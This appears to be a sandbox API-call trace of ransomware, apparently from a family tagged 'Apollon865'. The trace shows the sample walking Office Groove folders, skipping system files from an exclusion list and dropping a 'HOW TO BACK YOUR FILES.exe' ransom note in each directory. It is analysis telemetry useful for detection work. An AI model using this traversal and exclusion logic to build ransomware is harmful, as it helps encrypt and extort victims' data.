	[0071.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned 63
	[0071.338] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Places" | out: lpString1="Places") returned="Places"
	[0071.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0071.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf4e0
	[0071.338] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0071.338] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="Apollon865.txt.exe") returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2=".") returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="..") returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="windows") returned -1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="bootmgr") returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="temp") returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="pagefile.sys") returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="boot") returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="ids.txt") returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="ntuser.dat") returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="perflogs") returned 1
	[0071.338] lstrcmpiW (lpString1="Things", lpString2="MSBuild") returned 1
	[0071.338] lstrlenW (lpString="Things") returned 6
	[0071.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned 63
	[0071.338] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Things" | out: lpString1="Things") returned="Things"
	[0071.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0071.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf700
	[0071.338] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0071.338] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0
	[0071.338] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0071.338] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd10
	[0071.338] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things"
	[0071.338] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0071.338] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0071.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned 63
	[0071.338] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things"
	[0071.338] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.339] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.344] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x429963d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x429963d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.344] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.344] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.344] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.344] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x429963d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x429963d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.344] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.344] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.344] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.344] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.344] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CAN.WAV", cAlternateFileName="")) returned 1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2="Apollon865.txt.exe") returned 1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2=".") returned 1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2="..") returned 1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2="windows") returned -1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2="bootmgr") returned 1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2="temp") returned -1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2="pagefile.sys") returned -1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2="boot") returned 1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2="ids.txt") returned -1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2="ntuser.dat") returned -1
	[0071.344] lstrcmpiW (lpString1="CAN.WAV", lpString2="perflogs") returned -1
	[0071.345] lstrcmpiW (lpString1="CAN.WAV", lpString2="MSBuild") returned -1
	[0071.345] lstrlenW (lpString="CAN.WAV") returned 7
	[0071.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*") returned 65
	[0071.345] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="CAN.WAV" | out: lpString1="CAN.WAV") returned="CAN.WAV"
	[0071.345] lstrlenW (lpString="CAN.WAV") returned 7
	[0071.345] lstrlenW (lpString="Apollon865") returned 10
	[0071.345] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="COUPLER.WAV" | out: lpString1="COUPLER.WAV") returned="COUPLER.WAV"
	[0071.345] lstrlenW (lpString="COUPLER.WAV") returned 11
	[0071.345] lstrlenW (lpString="Apollon865") returned 10
	[0071.345] lstrcmpiW (lpString1="OUPLER.WAV", lpString2="Apollon865") returned 1
	[0071.345] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="HORN.WAV" | out: lpString1="HORN.WAV") returned="HORN.WAV"
	[0071.345] lstrlenW (lpString="HORN.WAV") returned 8
	[0071.345] lstrlenW (lpString="Apollon865") returned 10
	[0071.345] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="SHOT.WAV" | out: lpString1="SHOT.WAV") returned="SHOT.WAV"
	[0071.345] lstrlenW (lpString="SHOT.WAV") returned 8
	[0071.345] lstrlenW (lpString="Apollon865") returned 10
	[0071.345] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="SHOVEL.WAV" | out: lpString1="SHOVEL.WAV") returned="SHOVEL.WAV"
	[0071.345] lstrlenW (lpString="SHOVEL.WAV") returned 10
	[0071.345] lstrlenW (lpString="Apollon865") returned 10
	[0071.345] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="SPLASH.WAV" | out: lpString1="SPLASH.WAV") returned="SPLASH.WAV"
	[0071.345] lstrlenW (lpString="SPLASH.WAV") returned 10
	[0071.346] lstrlenW (lpString="Apollon865") returned 10
	[0071.346] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WHOOSH.WAV" | out: lpString1="WHOOSH.WAV") returned="WHOOSH.WAV"
	[0071.346] lstrlenW (lpString="WHOOSH.WAV") returned 10
	[0071.346] lstrlenW (lpString="Apollon865") returned 10
	[0071.346] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places"
	[0071.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0071.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0071.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned 63
	[0071.346] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places"
	[0071.346] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.346] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.354] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x429963d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x429963d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.354] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.354] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.354] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.354] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x429963d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x429963d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.355] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.355] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.355] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.355] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.355] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x84e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ALARM.WAV", cAlternateFileName="")) returned 1
	[0071.355] lstrcmpiW (lpString1="ALARM.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.355] lstrcmpiW (lpString1="ALARM.WAV", lpString2="Apollon865.txt.exe") returned -1
	[0071.355] lstrcmpiW (lpString1="ALARM.WAV", lpString2=".") returned 1
	[0071.355] lstrcmpiW (lpString1="ALARM.WAV", lpString2="..") returned 1
	[0071.355] lstrcmpiW (lpString1="ALARM.WAV", lpString2="windows") returned -1
	[0071.355] lstrcmpiW (lpString1="ALARM.WAV", lpString2="bootmgr") returned -1
	[0071.355] lstrcmpiW (lpString1="ALARM.WAV", lpString2="temp") returned -1
	[0071.356] lstrcmpiW (lpString1="ALARM.WAV", lpString2="pagefile.sys") returned -1
	[0071.356] lstrcmpiW (lpString1="ALARM.WAV", lpString2="boot") returned -1
	[0071.356] lstrcmpiW (lpString1="ALARM.WAV", lpString2="ids.txt") returned -1
	[0071.356] lstrcmpiW (lpString1="ALARM.WAV", lpString2="ntuser.dat") returned -1
	[0071.356] lstrcmpiW (lpString1="ALARM.WAV", lpString2="perflogs") returned -1
	[0071.356] lstrcmpiW (lpString1="ALARM.WAV", lpString2="MSBuild") returned -1
	[0071.356] lstrlenW (lpString="ALARM.WAV") returned 9
	[0071.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*") returned 65
	[0071.357] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="ALARM.WAV" | out: lpString1="ALARM.WAV") returned="ALARM.WAV"
	[0071.357] lstrlenW (lpString="ALARM.WAV") returned 9
	[0071.357] lstrlenW (lpString="Apollon865") returned 10
	[0071.357] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="BUZZ.WAV" | out: lpString1="BUZZ.WAV") returned="BUZZ.WAV"
	[0071.357] lstrlenW (lpString="BUZZ.WAV") returned 8
	[0071.357] lstrlenW (lpString="Apollon865") returned 10
	[0071.357] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="LASER.WAV" | out: lpString1="LASER.WAV") returned="LASER.WAV"
	[0071.357] lstrlenW (lpString="LASER.WAV") returned 9
	[0071.357] lstrlenW (lpString="Apollon865") returned 10
	[0071.357] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="RADAR.WAV" | out: lpString1="RADAR.WAV") returned="RADAR.WAV"
	[0071.357] lstrlenW (lpString="RADAR.WAV") returned 9
	[0071.357] lstrlenW (lpString="Apollon865") returned 10
	[0071.357] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="TOOT.WAV" | out: lpString1="TOOT.WAV") returned="TOOT.WAV"
	[0071.357] lstrlenW (lpString="TOOT.WAV") returned 8
	[0071.357] lstrlenW (lpString="Apollon865") returned 10
	[0071.357] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="VIBE.WAV" | out: lpString1="VIBE.WAV") returned="VIBE.WAV"
	[0071.357] lstrlenW (lpString="VIBE.WAV") returned 8
	[0071.357] lstrlenW (lpString="Apollon865") returned 10
	[0071.357] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WARN.WAV" | out: lpString1="WARN.WAV") returned="WARN.WAV"
	[0071.357] lstrlenW (lpString="WARN.WAV") returned 8
	[0071.358] lstrlenW (lpString="Apollon865") returned 10
	[0071.358] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People"
	[0071.358] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0071.358] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0071.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned 63
	[0071.358] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People"
	[0071.358] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.358] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.394] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x429e2690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x429e2690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.395] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.395] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.395] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.395] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x429e2690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x429e2690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.395] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.395] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.395] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.395] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.395] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="COUGH.WAV", cAlternateFileName="")) returned 1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="Apollon865.txt.exe") returned 1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2=".") returned 1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="..") returned 1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="windows") returned -1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="bootmgr") returned 1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="temp") returned -1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="pagefile.sys") returned -1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="boot") returned 1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="ids.txt") returned -1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="ntuser.dat") returned -1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="perflogs") returned -1
	[0071.395] lstrcmpiW (lpString1="COUGH.WAV", lpString2="MSBuild") returned -1
	[0071.395] lstrlenW (lpString="COUGH.WAV") returned 9
	[0071.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*") returned 65
	[0071.395] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="COUGH.WAV" | out: lpString1="COUGH.WAV") returned="COUGH.WAV"
	[0071.395] lstrlenW (lpString="COUGH.WAV") returned 9
	[0071.395] lstrlenW (lpString="Apollon865") returned 10
	[0071.395] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="GIGGLE.WAV" | out: lpString1="GIGGLE.WAV") returned="GIGGLE.WAV"
	[0071.395] lstrlenW (lpString="GIGGLE.WAV") returned 10
	[0071.396] lstrlenW (lpString="Apollon865") returned 10
	[0071.396] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="HICCUP.WAV" | out: lpString1="HICCUP.WAV") returned="HICCUP.WAV"
	[0071.396] lstrlenW (lpString="HICCUP.WAV") returned 10
	[0071.396] lstrlenW (lpString="Apollon865") returned 10
	[0071.396] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="MMHMM.WAV" | out: lpString1="MMHMM.WAV") returned="MMHMM.WAV"
	[0071.396] lstrlenW (lpString="MMHMM.WAV") returned 9
	[0071.396] lstrlenW (lpString="Apollon865") returned 10
	[0071.396] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="SNEEZE.WAV" | out: lpString1="SNEEZE.WAV") returned="SNEEZE.WAV"
	[0071.396] lstrlenW (lpString="SNEEZE.WAV") returned 10
	[0071.396] lstrlenW (lpString="Apollon865") returned 10
	[0071.396] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="THROAT.WAV" | out: lpString1="THROAT.WAV") returned="THROAT.WAV"
	[0071.396] lstrlenW (lpString="THROAT.WAV") returned 10
	[0071.396] lstrlenW (lpString="Apollon865") returned 10
	[0071.396] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="Whistling.wav" | out: lpString1="Whistling.wav") returned="Whistling.wav"
	[0071.396] lstrlenW (lpString="Whistling.wav") returned 13
	[0071.396] lstrlenW (lpString="Apollon865") returned 10
	[0071.396] lstrcmpiW (lpString1="stling.wav", lpString2="Apollon865") returned 1
	[0071.396] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates"
	[0071.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0071.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0071.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates") returned 62
	[0071.396] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates"
	[0071.397] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.397] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.400] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42a087f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42a087f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.401] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.401] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.401] lstrcmpiW (lpString1=".", lpString2=".") returned 0
